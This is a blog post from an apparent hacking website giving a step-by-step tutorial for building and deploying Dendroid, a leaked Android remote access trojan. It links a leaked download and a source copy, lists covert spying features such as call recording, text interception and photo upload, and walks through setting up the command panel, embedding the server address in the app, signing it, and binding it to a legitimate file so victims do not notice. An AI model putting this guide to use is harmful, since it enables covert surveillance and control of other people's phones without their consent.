• Home
  • Become a Hacker
    • Get Started
    • Hacker Mindset
    • Roadmap
    • Simple Setup – Hacker 101
    • Types of Hackers
    • Recommended Courses
  • Boot People Offline
  • Courses
    • All Hacking Courses
    • Cyber Security School
  • CTF
    • Beginners to Advanced Guide
    • Create your own CTF box
    • Field and Resources Guide
    • Platforms & Wargames
    • Tools Used for Solving CTF
    • Writeups
  • Dark Web
    • Beginners Guide
    • Darknet Markets
    • Darkweb 101 (Anonymity Guide)
    • Dark Web OSINT Tools
    • Hacking Forums
    • Latest News
    • Onion Links
  • Hacker Gadgets
  • Hacking Books
  • Tools Directory
Menu
  • Home
  • Become a Hacker
    • Get Started
    • Hacker Mindset
    • Roadmap
    • Simple Setup – Hacker 101
    • Types of Hackers
    • Recommended Courses
  • Boot People Offline
  • Courses
    • All Hacking Courses
    • Cyber Security School
  • CTF
    • Beginners to Advanced Guide
    • Create your own CTF box
    • Field and Resources Guide
    • Platforms & Wargames
    • Tools Used for Solving CTF
    • Writeups
  • Dark Web
    • Beginners Guide
    • Darknet Markets
    • Darkweb 101 (Anonymity Guide)
    • Dark Web OSINT Tools
    • Hacking Forums
    • Latest News
    • Onion Links
  • Hacker Gadgets
  • Hacking Books
  • Tools Directory
Search
Close
  • Home
  • 2016
  • January
  • 19
  • Dendroid – Android RAT

Dendroid – Android RAT

January 19, 2016November 18, 2017 Comments Off on Dendroid – Android RAT
dendroid dendroid download dendroid rat tutorial dendroid source code hack with dendroid

Dendroid is a HTTP RAT that is marketed as being transparent to the user and firmware interface, having a sophisticated PHP panel, and an application APK binder package.

The seller markets Dendroid as offering many features that have never been seen before and comes with 24/7 support, all for a once off payment of $300 to be paid through BTC, LTC, BTC-e, or other services. Some of the many features on offer include the following:

  • Delete call logs
  • Call a phone number
  • Open Web pages
  • Record calls and audio
  • Intercept text messages
  • Take and upload photos and videos
  • Open an application
  • Initiate a HTTP flood (DoS) for a period of time
  • Change the command-and-control (C&C) server
It was first offered on black markets for 300$, but after the leak you can get it for free: http://ge.tt/2nSvLv82/v/0. If you prefer Open-Source Tools you can either use the github Link: https://github.com/qqshow/dendroid.

Required:

First you need the Dendroid Source, given above.

Then you need the Android SDK and Eclipse with Android ADT: SDK Tools Only http://developer.android.com/sdk/index.html#Other and Android ADT for Eclipse (Of course you need Eclipse too). Installation of them is explained later.

And at least you need a Webserver with PHP and MySql. For example http://bplaced.net

Setting Up the Web Panel

I will use bplaced.net as an example for setting up the webserver:

  1. Create an Account (The username is the Domain of your Server)
  2. Now You see the control panel of your Webserver
  3. Navigate to http://www.bplaced.net/?handler=mysql and add a MySql database
  4. Now go to phpmyadmin (phpmyadmin.<username>.bplaced.net)
  5. Select your Database on the left side of phpmyadmin and then click on import at the top and add the Sql file located in Dendroid>Dendroid Panel>Other files. This should add the required Tables

Navigate to the Dendroid Panel Folder and then to the Folder “Panel”. Open applysettings.php, blockbot.php ,deletebot.php ,deletefile.php ,deletepics.php ,functions.php, table.php, clearawaiting.php, clearmessages.php In your text editor of your choice. In every file you will see $url = “http://pizzachip.com/rat/”; Change this adress with the adress of your Webserver, for example: $url = “http://dendroid.bplaced.net“;

Open get.php, get-functions.php, new-upload.php ,upload-pictures.php ,find the line { if($GET‘Password’ == “keylimepie”) } Change keylimepie to your Database password assigned in Step 3

Open reg.php and delete the script. The whole Script has to be this:
<?php
$validDomain = “true”;
?>

Now control the files whether they are correct configured. If they are wrong configured Dendroid wont work!

Upload

If you are sure everything went right, you have to upload the content of the folder Dendroid Panel to your webserver. I suggest to use FileZilla, which is easy to understand. For example if you use bplaced, the login credentials are: Server: <username>.bplaced.net Username: <username> Password: Password of your bplaced account ,Leave the port field blank

On the left side you can see your files and on the right side you see the files of your webserver. Delete the Files of your webserver and then copy the content of your Dendroid Panel folder to the webserver.

Dendroid Setup

Navigate in your browser to your webserver <username>.bplaced.net.
You should be greeted with a setup form.
The required Settings:
Database Username: Your username of the Sql Database
Database Password: Your Password of the Sql Database
Database Host: Host of your Sql Database (In bplaced.net: localhost)
Database Name: Your Database name (In bplaced.net: Username of your account)
Bot List Refresh Time & File List Refresh Time & Message Box Refresh Time: Set all to 10
Username: Use the username you want to use for logging in to the control panel
Password: Same for the Password
Bot Offline Time: 10
Time Zone: Is clear, isn`t it?
Message Box Font Size: 10

Setting Up the Dendroid Apk

Now you have to open the SDK Manager you have downloaded at the start. You can download everything you want, but important is the API 10.

Set up the ADT for Eclipse. This is a good Tutorial for this: http://www.instructables.com/id/How-To-Setup-Eclipse-for-Android-App-Development/step5/Obtain-Eclipse-IDE/ Follow the instructions till step 9.

Click File > New > Project > Android > Android Project From Existing Code > Next > Browse > Open the path to the Dendroid source then Dendroid Apk > Finish

Click the Drop Down Arrow for Dendroid > src > com.connect > Then click MyService To Open it.

Use base64encode.org to encode your url and the Password of your webserver. Change the variables encodedURL and backupURL to your encoded webserver URL, but pay attention that you use for example http://dendroid.bplaced.net and not http://dendroid.bplaced.net/

This is required to get Dendroid running.
Paste the encoded Password in the Password Field.

Now click on project>properties. Here you have to ckeck the API level 10 or Android 2.3.3, to get compiling working.

Click on your project in the project Manager on the left side of Eclipse and press F2 to rename the Project to “Dendroid”. Then Click File > Export > Android > Export Android Application > Select Dendroid.

Click Ok, then next. Now check “Create new keystore”. The location and the password don’t matter. Click next again, then use everything as name and password. The validity can be 1000 Years. Now you can change the destination of the output apk and finish the compilation.

Now bind the apk to a legitimate file so that the end user will not suspect anything.
You can watch the video tutorial here – https://www.youtube.com/watch?v=FvaCkPQXTWY

Post navigation

Stealing Windows Passwords with your Android Device
5 Tools to protect your Social Media accounts

Related Articles

AsyncRAT – Open-Source Remote Administration Tool For Windows

- Remote Administration Tools
August 24, 2019

Andrill – Vulnerable Mobile Application with Various Levels

- Mobile Hacking
August 2, 2019

Slackor – A Golang implant that uses Slack as a CC2 Server

- Remote Access Tool, Remote Administration Tools
July 9, 2019
hacker gadgets
hacker phone covers

Recent Posts

Mimicry is a security tool developed by Chaitin Technology for active deception in exploitation and post-exploitation. (4)

Mimicry – Security Tool For Active Deception In Exploitation And Post-Exploitation

March 24, 2023
CVE-2023-28445: Critical security vulnerability in the popular runtime, Deno

CVE-2023-28445: Critical security vulnerability in the popular runtime, Deno

March 24, 2023
CVE-2023-28432: High severity security vulnerability in MinIO

CVE-2023-28432: High severity security vulnerability in MinIO

March 24, 2023
CVE-2023-0386: A New Linux Kernel Vulnerability Puts Systems at Risk

CVE-2023-0386: A New Linux Kernel Vulnerability Puts Systems at Risk

March 23, 2023
APCLdr - Payload Loader With Evasion Features

APCLdr – Payload Loader With Evasion Features

March 23, 2023
Reverseip_Py - Domain Parser For IPAddress.com Reverse IP Lookup

Reverseip_Py – Domain Parser For IPAddress.com Reverse IP Lookup

March 23, 2023

Social Media Hacking

SocialPath – Track users across Social Media Platforms

SocialPath – Track users across Social Media Platforms

- Social Media Hacking
October 16, 2019October 16, 2019

SocialPath is a django application for gathering social media intelligence on specific username. It checks for Twitter, Instagram, Facebook, Reddit...

SocialScan – Check Email Address and Username Availability on Online Platforms

SocialScan – Check Email Address and Username Availability on Online Platforms

June 17, 2019
Shellphish – Phishing Tool For 18 Social Media Apps

Shellphish – Phishing Tool For 18 Social Media Apps

June 10, 2019July 27, 2019
WhatsApp Hacking using QRLJacking

WhatsApp Hacking using QRLJacking

May 2, 2019May 19, 2019
How to Hack any Facebook Account with Z-Shadow

How to Hack any Facebook Account with Z-Shadow

April 26, 2019June 29, 2020
hacker buffs

About Us

Haxf4rall is a collective, a good starting point and provides a variety of quality material for cyber security professionals.

Join Our Community!

Please wait...
Get the latest News and Hacking Tools delivered to your inbox.
Don't Worry ! You will not be spammed

Active Members

Submit a Tool

Hackers Handbook 2018


Grab your copy here

ABOUT US

Haxf4rall is a collective, a good starting point and provides a variety of quality material for cyber security professionals.

Our primary focus revolves around the latest tools released in the Infosec community and provide a platform for developers to showcase their skillset and current projects.

COMPANY
  • Contact Us
  • Disclaimer
  • Hacker Gadgets
  • LANC Remastered
  • PCPS IP Puller
  • Privacy Policy
  • Sitemap
  • Submit your Tool
Menu
  • Contact Us
  • Disclaimer
  • Hacker Gadgets
  • LANC Remastered
  • PCPS IP Puller
  • Privacy Policy
  • Sitemap
  • Submit your Tool
Live Chat
RESOURCES
  • Attack Process
  • Become a Hacker
  • Career Pathways
  • Dark Web
  • Hacking Books
  • Practice Your Skills
  • Recommended Courses
  • Simple Setup – Hacker 101
Menu
  • Attack Process
  • Become a Hacker
  • Career Pathways
  • Dark Web
  • Hacking Books
  • Practice Your Skills
  • Recommended Courses
  • Simple Setup – Hacker 101
Get Started
TOOLBOX
  • Anonymity
  • Bruteforce
  • DoS – Denial of Service
  • Information Gathering
  • Phishing
  • SQL Injection
  • Vulnerability Scanners
  • Wifi Hacking
Menu
  • Anonymity
  • Bruteforce
  • DoS – Denial of Service
  • Information Gathering
  • Phishing
  • SQL Injection
  • Vulnerability Scanners
  • Wifi Hacking
Tools Directory

2014 – 2020 | Haxf4rall.com               Stay Connected:

Facebook Twitter Google-plus Wordpress
Please wait...

Join Our Community

Subscribe now and get your free HACKERS HANDBOOK

Don't Worry ! You will not be spammed
SIGN UP FOR NEWSLETTER NOW